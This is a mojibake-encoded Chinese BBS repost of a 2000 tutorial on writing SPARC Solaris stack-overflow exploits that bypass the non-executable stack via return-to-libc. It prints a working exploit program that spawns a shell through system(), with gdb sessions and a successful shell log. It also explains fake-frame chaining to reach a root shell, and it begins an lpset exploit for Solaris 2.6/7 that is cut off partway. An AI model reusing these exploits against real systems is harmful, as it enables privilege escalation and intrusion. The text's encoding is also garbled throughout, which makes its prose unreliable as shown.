ÀóÔ°ÔÚÏß
ÀóÔ°Ö®ÃÀ£¬ÔÚ´ºÖ®ÃÈÑ¿£¬ÔÚÏÄÖ®ÕÀ·Å£¬ÔÚÇïÖ®ÊÕ»ñ£¬ÔÚ¶¬Ö®³Áµí
[»Øµ½¿ªÊ¼]
[ÉÏһƪ][ÏÂһƪ]
·¢ÐÅÈË: Lg (´´ÔìÈËÉúµÄ´«Ææ), ÐÅÇø: Linux
±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(2)
·¢ÐÅÕ¾: BBS ÀóÔ°³¿·çÕ¾ (Wed Jun 7 18:24:27 2000), Õ¾ÄÚÐżþ
¡¾ ÒÔÏÂÎÄ×ÖתÔØ×Ô Hacker ÌÖÂÛÇø ¡¿
¡¾ ÔÎÄÓÉ Sealed Ëù·¢±í ¡¿
ËùÓÐϵͳ Linux UNIX Windows Other
Ê×Ò³ >> ×ÊÁÏÎÄÏ× >> Unix
Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(2)
·¢²¼ÈÕÆÚ: 2000-5-18
ÄÚÈÝ:
--------------------------------------------------------------------------------
--- Õª×Ô<<ÂÌÃËÔ¿¯>>µÚ¾ÅÆÚ
Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд
×÷Õß: warning3 < warning3@hotmail.com >
Ö÷Ò³£ºhttp://www.isbase.com
ÈÕÆÚ: 2000/05/05
3. Èƹý²»¿ÉÖ´ÐжÑÕ»±£»¤µÄÒç³ö³ÌÐò±àд
¹ØÓÚ¶ÑÕ»±£»¤ÒÔ¼°Èƹý¶ÑÕ»±£»¤µÄÌÖÂÛÒѾ³ÖÐøÁ˺ܳ¤Ò»¶Îʱ¼äÁË£¬Solar DesignerÌá
³öÁË·µ»ØlibcµÄ·½·¨£¬NergalÓÖÌá³öÁËÒ»ÖÖαÔì¶ÑÕ»Ö¡ÀûÓÃstrcpyÀ´Èƹý²»¿ÉÖ´ÐжÑÕ»
±£»¤µÄ·½·¨£¬²»¹ýÕâЩ·½·¨¶¼ÊÇÕë¶ÔLinuxϵͳµÄ(ÎÒÒѾÔÚÁíÍâµÄÎÄÕÂÀïרÃŽéÉÜÈçºÎ
ÈƹýSolar DesignerµÄLinux²»¿ÉÖ´ÐжÑÕ»²¹¶¡µÄ·½·¨)¡£¶øÔÚSolaris 2.6/7(SPARCƽ
̨)ÖÐÒ²ÌṩÁËÒ»ÖÖ·½·¨À´½ûÖ¹¶ÑÕ»¿ÉÖ´ÐУ¬´Ó¶øÌá¸ßÁËϵͳµÄ°²È«ÐÔ,
¼´ÔÚ/etc/systemÖмÓÈëÁ½ÌõÓï¾ä:
set noexec_user_stack = 1
set noexec_user_stack_log = 1
µÚÒ»ÌõÓÃÀ´Ê¹Óû§µÄ¶ÑÕ»²»¿ÉÖ´ÐУ¬µÚ¶þÌõÓÃÀ´¼Ç¼ÈκÎÊÔͼÔÚ¶ÑÕ»ÖÐÖ´ÐдúÂëµÄ³¢ÊÔ
¡£
(×¢Ò⣺ÐèÒªÖØÐÂÆô¶¯ÏµÍ³À´Ê¹Ö®ÉúЧ )
È»¶ø£¬ÕâÖÖ±£»¤»úÖÆÈÔÈ»ÊÇ¿ÉÒÔÈƹýµÄ£¬Horizon<jmcdonal@unf.edu>Ê×ÏÈ·ÖÎöÁËÀûÓ÷µ
»ØlibcµÄ·½·¨»÷°ÜSolaris²»¿ÉÖ´ÐжÑÕ»µÄ±£»¤¡£ÏÂÃæÎÒÃǾÍÀ´½éÉÜÒ»ÏÂÕâÖÖ·½·¨¡£
3.1 »ù±¾Ë¼Â·
SolarisµÄ²»¿ÉÖ´ÐжÑÕ»±£»¤ºÃÏñÖ»ÊǼì²é·µ»ØµØÖ·ÊDz»ÊÇÔÚ¶ÑÕ»ÖУ¬Èç¹ûÊÇ£¬¾Í±¨¶Î´í
Î󣬲¢¼Ç¼£¬²¢Ã»ÓÐ×öʲôÆäËûµÄ´ëÊ©¡£ÎÒÃÇÖ»Òª²»·µ»Ø¶ÑÕ»¾Í¿ÉÒÔÁË£¬ÄÇÎÒÃÇÈ¥ÄÄÀï
ÄØ£¿¿ÉÒÔ´úÂë¶Î£¬Ò²¿ÉÒÔÊÇ¿ÉÖ´ÐеÄÊý¾Ý¶Î¡£ÎÒÃÇͨ³£Òª×öµÄÊǵõ½Ò»¸öshell¡£Èç¹ûÄÜ
Ö´ÐÐsystem("/bin/sh")¾Í¿ÉÒÔÁË£¬ÎÒÃÇ¿ÉÒÔÔÚ¹²Ïí¿âÖÐÕÒµ½system()µÄµØÖ·,ÓÃËüÀ´×ö
·µ»ØµØÖ·£¬²ÎÊý"/bin/sh"¿ÉÒÔ´Ó¹²Ïí¿âÖÐÕÒ(ͨ³£¶¼»á°üº¬)£¬Ò²¿ÉÒÔͨ¹ý»·¾³±äÁ¿´«µÝ
¡£
ÈÔÈ»ÒÔÇ°ÃæµÄvul.cΪÀý£¬Èç¹ûÎÒÃÇҪдһ¸ö²âÊÔ³ÌÐò£¬Ö´ÐÐÁ÷³Ìͨ³£ÊÇÕâÑùµÄ£º
<1> Ê×ÏȸøstrcpyÌṩ³¤²ÎÊý
<2> strcpy()½«¸²¸Çmain()º¯ÊýÕ»Ö¡Öб£´æµÄ%iºÍ%l¼Ä´æÆ÷ÄÚÈÝ
<3> func()º¯ÊýÖ´ÐÐresotreÖ¸ÁCWP(¼Ä´æÆ÷´°£©¼ÓÒ»£¬È»ºóÎÒÃǸ²¸ÇµÄ%iºÍ%lÖµ±»´Ó
¶ÑÕ»ÖÐÈ¡³ö£¬·ÅÈë¼Ä´æÆ÷%iºÍ%lÖÐ,%i±ä³É%o ¡£³ÌÐò·µ»Øµ½main()ÖÐÖ´ÐС£
<4> main()º¯ÊýÓÖ»áÖ´ÐÐret/restoreÖ¸ÁretÖ¸Áî»áÌøµ½(%i7+8)´¦Ö´ÐУ¬restoreÖ¸
ÁʹCWPÔÙÔö¼ÓÒ»£¬²¢½«%i±ä³É%o£¨%i0±ä³ÉÁË%o0)¡£
Èç¹ûÎÒÃǸ²¸Çʱ½«±£´æµÄ%i0ÓÃ"/bin/sh"µÄµØÖ·´úÌ棬±£´æµÄ%i7ÓÃ(system()µÄµØÖ·-
8)
´úÌ棬ÄÇôÕâʱºò³ÌÐò¾Í»áÖ´ÐÐsystem("/bin/sh")ÁË¡£µ±µ÷ÓÃsystem()º¯ÊýµÄʱºò£¬»á
ÏÈÖ´ÐÐÒ»Ìõ'save'Ö¸Á½«%o0±ä³É%i0.ÓÉÓÚsystem()µÄµØÖ·²»ÔÚ¶ÑÕ»¶ÎÄÚ£¬Òò´Ë²¢²»»á
Î¥·´±£»¤¹æÔò¡£
3.2 Ò»¸öÕë¶Ôvul.cµÄ²âÊÔ³ÌÐòex_noexec.c
Ã÷°×ÁËÉÏÊö¹ý³Ì£¬ÎÒÃÇ¿ÉÒÔд²âÊÔ³ÌÐòÁË£º
--------------------------------------------------------------------------------
/* ex_noexec.c
* simple test exploit for Solaris with noexec_stack feature.
* by warning3 <wanring3@hotmail.com>
* y2k/5/5
*/
#include <stdio.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>
#define VULPROG "./vul"
#define BUFSIZE 8 /* the size of overflowed buffer*/
int step; /* ËÑË÷"/bin/sh"ʱµÄ²½³¤ºÍ·½Ïò */
jmp_buf jmpenv; /* ¶¨ÒåÒ»¸öjmp_bufÀ´´¢´æµ±Ç°Õ»Ö¡ */
void fault()
{
if (step<0) /* Èç¹û²½³¤Ð¡ÓÚ0,»Ö¸´±£´æµÄÕ»Ö¡£¬setjmp()·µ»Ø1Öµ,·´·½ÏòËÑË÷ */
longjmp(jmpenv,1);
else /* Èç¹û²½³¤´óÓÚ0,˵Ã÷ÒѾÁ½¸ö·½Ïò¶¼ËÑË÷Íê±Ï£¬±¨´í */
{
printf("Couldn't find /bin/sh at a good place in libc.\n");
exit(1);
}
}
long get_sp(void) /* µÃµ½µ±Ç°¶ÑÕ»Ö¸ÕëµØÖ· */
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *env[1]; /* »·¾³±äÁ¿Ö¸ÕëÊý×é */
void *handle; /* ¶¯Ì¬Áª½Ó¿â¾ä±ú */
long system_addr; /* system()µÄµØÖ· */
char *pattern; /* ¹¹Ô츲¸ÇÊý¾ÝµÄbuffer */
long sh_addr, i, fp_addr;
long bufsize=BUFSIZE, patternsize ;
long *addrptr;
if( argc > 1 ) bufsize = atoi(argv[1]);
/* ÉèÖÃÒ»¸ö¿ÉÓÃ(д)µÄfpµØÖ·£¬ÔËÐÐsystem()ʱ»áÓõ½ */
fp_addr = (get_sp() | 0xffff) & 0xfffffac0;
printf("Usages: %s <bufsize> \n", argv[0] );
printf("Using FP address = 0x%x, Bufsize = %d\n", fp_addr, bufsize );
if (!(handle=dlopen(NULL,RTLD_LAZY))) /* ´ò¿ªµ±Ç°Ê¹ÓõĶ¯Ì¬Á¬½á¿â */
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
/* ÕÒµ½system()µÄµØÖ· */
if ((system_addr=(long)dlsym(handle,"system"))==NULL)
{
fprintf(stderr,"Can't find system().\n");
exit(1);
}
system_addr -= 8; /* ÒòΪretʱ,»áÌøµ½(%i7+8)´¦È¥Ö´ÐУ¬ËùÒÔÕâÀïÒª¼õ8 */
/* ¼ì²éÊDz»ÊÇ°üº¬Áã×Ö½Ú */
if (!(system_addr & 0xff) || !(system_addr * 0xff00) ||
!(system_addr & 0xff0000) || !(system_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
exit(1);
}
printf("found system() at 0x%lx\n",system_addr);
/* ÔÚlibc¿âÖÐËÑË÷"/bin/sh"µØÖ·£¬ÕâÊÇSolar DesignerÌṩµÄ·½·¨ */
if (setjmp(jmpenv)) /* Èç¹ûsetjmp·µ»Ø1,ÉèÖÃËÑË÷²½³¤Îª1 */
step=1;
else /* Èç¹ûsetjmp·µ»Ø0(ȱʡ·µ»Ø0),ÉèÖÃËÑË÷²½³¤Îª-1 */
step=-1;
sh_addr=system_addr; /* ÉèÖÃÆðʼËÑË÷µØַΪsystem()µØÖ· */
signal(SIGSEGV,fault); /* ÉèÖÃÐźŲ¶×½£¬µ±ËÑË÷µ¼Ö¶δíÎóʱ£¬Ö´ÐÐfault()
*/
/* ÔÚsystem()µØÖ·µÄÁ½²àËÑË÷"/bin/sh"µØÖ· */
while (memcmp((void *)sh_addr, "/bin/sh", 8)) sh_addr+=step;
/* ¼ì²éµÃµ½µÄµØÖ·ÊÇ·ñ°üº¬Áã×Ö½Ú */
if (!(sh_addr & 0xff) || !(sh_addr & 0xff00) || !(sh_addr & 0xff0000)
|| !(sh_addr & 0xff000000))
{
fprintf(stderr,"the address of \"/bin/sh\" contains a '0'.
sorry.\n");
exit(1);
}
printf("found \"/bin/sh\" at 0x%lx\n",sh_addr);
/* Ϊ¸²¸ÇÊý¾Ý·ÖÅä¿Õ¼ä */
patternsize = bufsize + 4*4 + 16*4 + 1;
if((pattern = (char *)malloc(patternsize)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage
*/
/* Ö¸ÕëÒƶ¯µ½±£´æµÄ%l0´¦ */
addrptr = (long *) (pattern + bufsize + 4*4 );
/* Let's overwrite caller function's saved stack frame
I know it's ugly,but just make it more clearly .:)
*/
/* saved %l0-%l7£¬ÕâЩÄÚÈÝ¿ÉÒÔÌî³äÈÎÒâÊý¾Ý */
*addrptr++ = fp_addr; /* %l0 */
*addrptr++ = fp_addr; /* %l1 */
*addrptr++ = fp_addr; /* %l2 */
*addrptr++ = fp_addr; /* %l3 */
*addrptr++ = fp_addr; /* %l4 */
*addrptr++ = fp_addr; /* %l5 */
*addrptr++ = fp_addr; /* %l6 */
*addrptr++ = fp_addr; /* %l7 */
/* saved %i0-%i7 */
*addrptr++ = sh_addr; /* %i0 £¬ÓÃ"/bin/sh"µØÖ·Ìî³ä */
*addrptr++ = fp_addr; /* %i1 */
*addrptr++ = fp_addr; /* %i2 */
*addrptr++ = fp_addr; /* %i3 */
*addrptr++ = fp_addr; /* %i4 */
*addrptr++ = fp_addr; /* %i5 */
*addrptr++ = fp_addr; /* saved %fp(%i6), Õâ¸ö%fp±ØÐëÊÇ¿ÉÓõĵØÖ·
*/
*addrptr++ = system_addr; /* saved ret addr (%i7), (system() - 8 ) */
env[0]=NULL;
execle(VULPROG, VULPROG, pattern,NULL,env);
} /* end of main */
------------------------------------------------------------------------------
bash-2.03$ ./exp <--- ÏÈÀ´ÊÔÊÔÔÀ´µÄ·½·¨
Usages: ./exp <align> <offset> <bufsize>
Using RET address = 0xffbefd2c ,Bufsize = 8, Offset = 1500, Align= 0
CCCCCCCCCCCCCCCCCCCCCCCCÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,
ÿ?,ÿ?,C
¶Î´íÎó <--- ʧ°ÜÁË
bash-2.03$ tail -1 /var/adm/messages <--- ¿´¿´messagesÀïµÄ¼Ç¼
May 5 16:12:07 sun1 unix: NOTICE: vul[13199] attempt to execute code on stack
by uid 100
bash-2.03$ ./ex_exec <--- ÊÔÊÔÎÒÃǵÄгÌÐò
Usages: ./ex_exec <offset> <bufsize>
Using FP address = 0xffbefac0, Bufsize = 8
found system() at 0xff30c9c4
found "/bin/sh" at 0xff320e94
CCCCCCCCCCCCCCCCCCCCCCCCÿ??¾ú?¾ú?¾ú?¾ú?¾ú?¾ú?¾ú?2?¾ú?¾ú?¾ú?¾ú?¾ú?¾ú?0ÉÄC
$ id
uid=100(warning3) gid=1(other) <--- ³É¹¦ÁË :)
$ exit
^C
bash-2.03$
3.3 ²»Äܵõ½root shellµÄ·ÖÎöÒÔ¼°½â¾ö·½·¨
ÎÒÃÇ¿´µ½£¬ÎÒÃdzɹ¦µÃµ½ÁËÒ»¸öshell,µ«ÊÇȴûÓеõ½root shell.ÕâÊÇÒòΪsystem
(cmsd)ʵ¼ÊÉÏÊÇÖ´ÐÐÁË"/bin/sh -c cmd",¶øSolaris ϵÄ/bin/shÈç¹û¼ì²éµ½½ø³ÌµÄ
euid=0µ«Óû§Õæʵuid²»Îª0,¾Í»á½«½ø³ÌeuidÉèÖóÉÓû§Õæʵuid,Òò´Ë£¬ÔÚÕâÖÖÇé¿öÏÂ
£¬ÎÒÃÇÊÇÎÞ·¨Í¨¹ýsystem()À´»ñµÃroot shellµÄ¡£
£¨ÁíÍâÎÒÃÇ×¢Òâµ½ÔÚ"exit"µÄʱºò£¬½ø³ÌËÀµôÁË£¬±ØÐë°´Ctrl_CÖÕÖ¹£¬ÕâÊÇÒòΪµ±
system()Ö´ÐÐsaveºó£¬%o7»á±ä³É%i7,µ±system()ÖØÐÂret/restoreʱ,³ÌÐòÓÖ»áÌøµ½
(%i7+8),ÕâÑù³ÌÐò¾ÍÏÝÈëËÀÑ»·ÁË¡£ÓÐÁíÍâµÄ°ì·¨À´½â¾öÕâ¸öÎÊÌ⣬ºóÃæÎÒÃÇ»áÌáµ½£©
ÄÇôÎÒÃǿɲ»¿ÉÒÔÏÈÖ´ÐÐÒ»¸ösetuid(0),È»ºóÔÙÖ´ÐÐsystem()À´»ñµÃroot shellÄØ£¿
ÀíÂÛÉÏËƺõÊÇ¿ÉÐеġ£Ö»ÒªÔÙ¹¹ÔìÒ»¸ösetuid()µÄ¼ÙÕ»Ö¡¾Í¿ÉÒÔÁË¡£µ«ÊÇʵ¼ÊÉÏÊÇÐв»
ͨµÄ£¬ÒòΪSPARCƽ̨ϵĺ¯ÊýÓÐÁ½ÖÖ£¬Ò»ÖÖÊÇleaf(Ò¶º¯Êý£©£¬Ò»ÖÖÊÇ·Çleaf£¨Ò³)º¯Êý
.leafº¯Êýͨ³£±È½Ï¼òµ¥£¬ÎªÁËÌá¸ßЧÂÊ£¬ËüÃDz»ÊÇÀûÓöÑÕ»´«µÝ²ÎÊý£¬¶øÖ»ÊÇÀûÓÃout
¼Ä´æÆ÷£¬Òò´Ë£¬ÔÚleafº¯ÊýµÄ¹ý³Ìµ÷ÓÃÖÐÊÇûÓÐsaveºÍrestoreÖ¸ÁîµÄ£¬ËüÃÇ·µ»ØʱʹÓÃ
retl¶ø²»ÊÇretÖ¸Áî¡£retlµÈ¼ÛÓÚ£º
jmpl %o7, 8, %g0 £¨×¢Òâ²»ÊÇ %i7 + 8 )
¶ø·Çleafº¯ÊýÔòʹÓÃsave/restoreÖ¸Áî±£´æ/»Ö¸´Õ»Ö¡£¬²¢Ê¹ÓÃret·µ»Ø.
ÔÚÌøµ½leafº¯ÊýÖ´ÐеÄʱºò£¬retlʱÓÖ»áÌøµ½(%o7+8)È¥Ö´ÐУ¬Õâ¾ÍÏÝÈëÁËËÀÑ»·(ÒòΪ
%o7¾ÍÊÇsetuid()µÄµØÖ·-8)£¬¶øÇÒûÓа취½â¾ö¡£Òò´ËÎÒÃǵÄsystem()Ò²¾ÍÓÀÔ¶²»»á±»
¼ÌÐøÖ´ÐÐÁË¡£
ÎÒÃÇ¿´¸ö¼òµ¥µÄleafº¯ÊýµÄÀý×ÓÀ´¼ÓÉîÒ»ÏÂÀí½â£º
bash-2.03$ cat > set.c
main()
{
setuid(0);
}
^D
bash-2.03$ gcc -o set set.c -static
bash-2.03$ gdb ./set
GNU gdb 4.18
<....>
No symbol "set" in current context.
(gdb) disass main
Dump of assembler code for function main:
0x101b8 <main>: save %sp, -112, %sp
0x101bc <main+4>: clr %o0
0x101c0 <main+8>: call 0x10d74 <setuid>
0x101c4 <main+12>: nop
0x101c8 <main+16>: ret
0x101cc <main+20>: restore
End of assembler dump.
(gdb) disass setuid
Dump of assembler code for function setuid:
0x10d74 <setuid>: mov 0x17, %g1 <--- ûÓÐsaveÖ¸Áî
0x10d78 <setuid+4>: ta 8
0x10d7c <setuid+8>: bcc 0x10d90 <setuid+28>
0x10d80 <setuid+12>: sethi %hi(0x16400), %o5
0x10d84 <setuid+16>: or %o5, 0x328, %o5 ! 0x16728 <_cerror>
0x10d88 <setuid+20>: jmp %o5
0x10d8c <setuid+24>: nop
0x10d90 <setuid+28>: retl <--- ²»ÊÇretÖ¸Áî
0x10d94 <setuid+32>: mov %g0, %o0 <--- ûÓÐrestoreÖ¸Áî
End of assembler dump.
(gdb)
ÄÇôÎÒÃÇÓÃʲô°ì·¨À´½â¾öÎÊÌâÄØ£¿¿¼ÂÇÒ»ÏÂÎÒÃǵÄshellcode,ͨ³£¶¼ÊÇÖ´ÐеÄ
execl("/bin/sh","/bin/sh",NULL). ÄÇôÎÒÃÇÒ²¿ÉÒÔͨ¹ýÖ±½ÓʹÓÃexecl()À´Ö´ÐÐÈÎÒâ
ÃüÁî¡£¼ÈÈ»ÎÒÃDz»ÄÜÀûÓÃ/bin/sh,¿ÉÒÔ¿¼ÂÇÖ´ÐÐ/bin/ksh(ËüûÓÐÕâ¸öÏÞÖÆ),»òÕß/tmp/
blah,Ò»Ñù¿ÉÒÔ´ïµ½ÎÒÃǵÄÄ¿µÄ¡£
--------------------------------------------------
/* gcc -o /tmp/blah /tmp/blah.c */
main()
{
setuid(0);
execl("/bin/sh","/bin/sh",0);
}
---------------------------------------------------
Âé·³µÄÊÇexecl()µÄµÚÈý¸ö²ÎÊýÊÇ0,Òò´ËÎÒÃDz»Äܽ«Ëüͨ¹ý²ÎÊý´«µÝ£¬ÎÒÃÇ¿¼ÂÇÁíÍâÒ»ÖÖ
·½·¨£º
ÔÚ»·¾³±äÁ¿Öй¹ÔìÒ»¸ö¼ÙµÄÕ»Ö¡£¬½«execl()ÓõIJÎÊý·Å½øÈ¥¡£
ÕâÖÖ·½·¨Ò²¿ÉÒÔÓÃÀ´Ö´ÐÐÒ»´®·Çleafº¯Êý£¨¹¹Ôì¶à¸ö¼ÙÕ»Ö¡),Ö»Òª½«µÚ¶þ¸öÒªÖ´Ðеĺ¯
Êý
µÄµØÖ··Åµ½µÚÒ»¸öº¯ÊýÕ»Ö¡µÄ%i7ÖУ¬²¢½«µÚÒ»¸öº¯ÊýÕ»Ö¡µÄ%fpÖ¸ÏòµÚ¶þ¸öº¯ÊýµÄÕ»Ö¡
Æð
ʼµØÖ·¾ÍÐÐÁË¡£µ«ÊÇÕâÖÖ·½·¨ÓÐÒ»µãҪעÒâµÄ¾ÍÊÇÎÒÃÇÐèÒªÌø¹ý¸Ã·Çleafº¯ÊýµÄsaveÖ¸
Áî
¡£
¶ÑÕ»µÍÖ·
__________
%fp | %l0-%l7 | 8*4 ±£´æmain()µÄ%l0-%l7¼Ä´æÆ÷
|__________|
%fp+32 | %i0-%i5 | 6*4 ±£´æmain()µÄ%i0-%i5¼Ä´æÆ÷
|__________|
%fp+56 | %fp1 | 1*4 = Ö¸Ïò»·¾³±äÁ¿ÖеļÙÕ»Ö¡ ---\
|__________| |
%fp+60 | %i7 | 1*4 = (execl()-4) |
|__________| |
|
»·¾³±äÁ¿£º |
__________ |
%fp1 | %l0-%l7 | 8*4 <-----------------------------/
|__________|
%fp1+32| %i0 | 1*4 = "/bin/sh"µÄµØÖ·
|__________|
%fp1+36| %i1 | 1*4 = "/bin/sh"µÄµØÖ·
|__________|
%fp1+40| %i2 | 1*4 = 0x00000000
|__________|
%fp1+44| %i3 | 1*4 = ÈÎÒâÊý¾Ý
|__________|
%fp1+48| %i4 | 1*4 = ÈÎÒâÊý¾Ý
|__________|
%fp1+52| %i5 | 1*4 = ÈÎÒâÊý¾Ý
|__________|
%fp1+56| %fp2 | 1*4 = Ö¸ÏòÏÂÒ»¸ö·Çleafº¯ÊýµÄ¼ÙÕ»Ö¡ --------> ....
|__________|
%fp1+60| %i7 | 1*4 = ÏÂÒ»¸ö·Çleafº¯ÊýµØÖ· - 4
|__________|
¶ÑÕ»¸ßÖ·
µ±ÎÒÃǸ²¸Çµômain()º¯ÊýµÄ±£´æµÄ%lºÍ%iºó£¬µ±func()Ö´ÐеÚÒ»¸öret/resotre
£¬·µ»Øµ½main()ÀïÃ棬Õâʱ%fp¾ÍÖ¸ÏòÁË»·¾³±äÁ¿ÖеļÙÕ»Ö¡µØÖ·£¬%i7=(execl()-4)
µ±main()º¯ÊýÔÙ´ÎÖ´ÐÐret/resotreʱ£¬%fpÖб£´æµÄ¼ÙÕ»Ö¡ÄÚÈݱ»»Ö¸´µ½%lºÍ%i¼Ä´æÆ÷
ÀÕâʱºòÎÒÃǵÄexecl()ËùÐèÒªµÄÈý¸ö²ÎÊýÒѾÔÚ%i0/%i1/%i2ÖÐÁË£¬¶øÏÖÔÚµÄ%o0-%o7
¾ÍÊÇÎÒÃǸ²¸ÇµÄmain()º¯ÊýµÄÕ»Ö¡ÄÚÈÝ¡£Èç¹û°´ÕÕÔÀ´µÄ×ö·¨£¬ÏÖÔÚÓ¦¸ÃÌøµ½execl()
´¦È¥Ö´ÐУ¬È»ºóÖ´ÐÐsaveÖ¸Á½«%oÔÙ±ä³É%i.µ«ÊǼÈÈ»ÎÒÃÇËùÒªµÄ²ÎÊýÒѾÔÚ%iÖÐÁË£¬
ÎÒÃǾͲ»±ØÔÙÖ´ÐÐsaveÖ¸ÁîÁË£¬ËùÒÔÎÒÃÇÔÀ´Ìî³äµÄÊÇ(execl()-4),ÕâÑù(%i7+8)=
(execl()+4),¸ÕºÃÌø¹ýsaveÖ¸Á¶øµ±ÎÒÃÇÖ´ÐÐÍêexecl()·µ»ØµÄʱºò,ret/resotreÖ¸Áî
»á´Ó%fp2ËùÖ¸µÄÕ»Ö¡Öлָ´%iºÍ%l,²¢Ìøµ½(%i7+8)´¦£¨Ò²¾ÍÊÇ (ÏÂÒ»¸ö·Çleafº¯ÊýµØÖ·
+ 4) )Ö´ÐÐ,ÒÔ´ËÀàÍÆ£¬¾Í¿ÉÒÔ˳ÐòÖ´Ðжà¸ö·Çleafº¯Êý¡£
×¢Ò⣺Æäʵexecl()ÕýÈ·Ö´ÐÐÍêºóÊDz»»á·µ»ØµÄ£¬Òò´Ë(%i7+8)ͨ³£²¢²»»á±»Ö´Ðе½.
£¨³ý·Çexecl()Ö´ÐÐʧ°Ü).
3.4 ¹ØÓÚ¼ÙÕ»Ö¡µØÖ·µÄÈ·¶¨
Òò´ËÕâÀïµÄÒ»¸ö¹Ø¼üÎÊÌâÊÇÈçºÎÈ·¶¨»·¾³±äÁ¿ÖмÙÕ»Ö¡µÄµØÖ·£¬Õâ¸öµØÖ·±ØÐë·Ç³£¾«È·
£¬
·ñÔòexecl()Ö´Ðп϶¨»áʧ°Ü¡£ÎÒÃÇʹÓÃexecle()À´µ÷ÓÃÓÐÈõµãµÄ³ÌÐò£¬execle()ÔÊÐíÎÒ
ÃÇ×Ô¼º¶¨ÖÆ»·¾³±äÁ¿µÄÄÚÈÝ£¬ÕâÑù¿ÉÒÔ×î´óÏ޶ȵÄÏû³ý²»Í¬Óû§ÓÉÓÚ»·¾³±äÁ¿²»Í¬¶øµ¼
ÖµļÙÕ»Ö¡µØÖ·µÄ²î±ð¡£Solaris¶ÑÕ»µÄ×¶Ë×ÜÊÇ°üº¬³ÌÐòµÄ·¾¶ÒÔ¼°ÏµÍ³Æ½Ì¨½á¹¹ÐÅ
Ï¢¡£ÀýÈ磺
µÍÖ·
|
| __________
| | ¶ÑÕ»Çø |
| |__________|
| | »·¾³±äÁ¿ |
| |__________|
|sp_addr| ƽ̨ÐÅÏ¢ |
| |__________|
| | ³ÌÐò·¾¶ |
| |__________|
| |0x00000000| 1*4 ×îºóËĸö×Ö½Ú×ÜÊÇ0
| |__________|
v0xffbf0000 (Solaris 7)
¸ßÖ·
ƽ̨ÐÅÏ¢ºÍ³ÌÐò·¾¶µÄ³¤¶È¶¼¿ÉÒÔÈ·¶¨£¬µ«ÊÇsp_addrµÄµØÖ·²¢²»ÊǼòµ¥µÄµÈͬÓÚ
0xffbf000 - 4 - ƽ̨ÐÅÏ¢³¤¶È - ³ÌÐò·¾¶³¤¶È - 2
¶øÊÇ»¹ÒªÔÙ¼õÈ¥¸öÆ«ÒÆÁ¿£¬ÎÒ²âÊÔÁ˶à´Î£¬Õâ¸öֵͨ³£ÊÇ0-5Ö®¼ä¡£
¼òµ¥µÄ¿´¸öÀý×Ó£º
bash-2.03# gdb ./ex2
GNU gdb 4.18
<......>
(gdb) b main
Breakpoint 1 at 0x10c9c
(gdb) r
Starting program: /export/home/warning3/test/non/./ex2
Breakpoint 1, 0x10c9c in main ()
(gdb) x/200s 0xffbeff00
<.......>
0xffbeff93: "TERM=vt100"
0xffbeff9e: "PATH=/usr/local/bin:/usr/sbin:/usr/bin"
0xffbeffc5: "SUNW,Ultra-5_10" <--- ƽ̨ÐÅÏ¢£¬²»Í¬µÄ»úÆ÷¿ÉÄܲ»Ò»Ñù
0xffbeffd5: "/export/home/warning3/test/non/ex2" <-- ·¾¶ÐÅÏ¢
0xffbefff8: ""
0xffbefff9: ""
0xffbefffa: ""
0xffbefffb: ""
0xffbefffc: ""
0xffbefffd: ""
0xffbefffe: ""
0xffbeffff: ""
0xffbf0000: <Address 0xffbf0000 out of bounds>
0xffbf0000: <Address 0xffbf0000 out of bounds>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/20x 0xffbeffc0
0xffbeffc0: 0x2f62696e 0x0053554e 0x572c556c 0x7472612d
0xffbeffd0: 0x355f3130 0x002f6578 0x706f7274 0x2f686f6d
0xffbeffe0: 0x652f7761 0x726e696e 0x67332f74 0x6573742f
0xffbefff0: 0x6e6f6e2f 0x65783200 0x00000000 0x00000000
0xffbf0000: Cannot access memory at address 0xffbf0000.
(gdb)
3.5 Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec.c
ÏÖÔÚÎÒÃǾͿÉÒÔÀ´Ð´Ò»¸öеIJâÊÔ³ÌÐòÁË£¬»¹ÊÇÒÔlpsetΪÀý£º
--------------------------------------------------------------------------------
-
/* ---> lpset_nonexec.c <---
* expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature.
*
* It is one test for writing exploits in Sparc to defeat non-exec statck,
* just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
* ./lpset_nonexec <offset> <bufsize>
* by warning3@hotmail.com
* y2k/05/05
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#define VULPROG "/usr/bin/lpset"
#define SHELL "/bin/ksh"
#define PRINTER "blah"
#define BUFSIZE 944 /* the size of overflowed buffer*/
#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */
#define OFFSET 4 /* if don't work ,try adjust offst to 0 - 5 */
long get_sp(void)
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *env[7];
char fakeframe[512];
char plat[256];
void *handle;
long execl_addr;
char *pattern;
long sh_addr, i, sp_addr,fp_addr, fp2_addr;
long bufsize=BUFSIZE, offset=OFFSET, patternsize ;
long *addrptr;
if( argc > 1 ) offset = atoi(argv[1]);
if( argc > 2 ) bufsize = atoi(argv[2]);
/* get plat info */
sysinfo(SI_PLATFORM,plat,256);
sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
/* fp2_addr must be valid stack address */
fp2_addr = (sp_addr & 0xfffffac0);
/* get shell string address */
sh_addr = sp_addr - strlen(VULPROG) - offset - strlen(plat) -
strlen(SHELL) -2 ;
/* get our fake frame address */
fp_addr = sh_addr - 8*8 -1;
printf("Usages: %s <offset> <bufsize> \n", argv[0] );
printf("Using SHELL address = 0x%x ,FP address = 0x%x, Offset = %d,
Bufsize = %d\n",
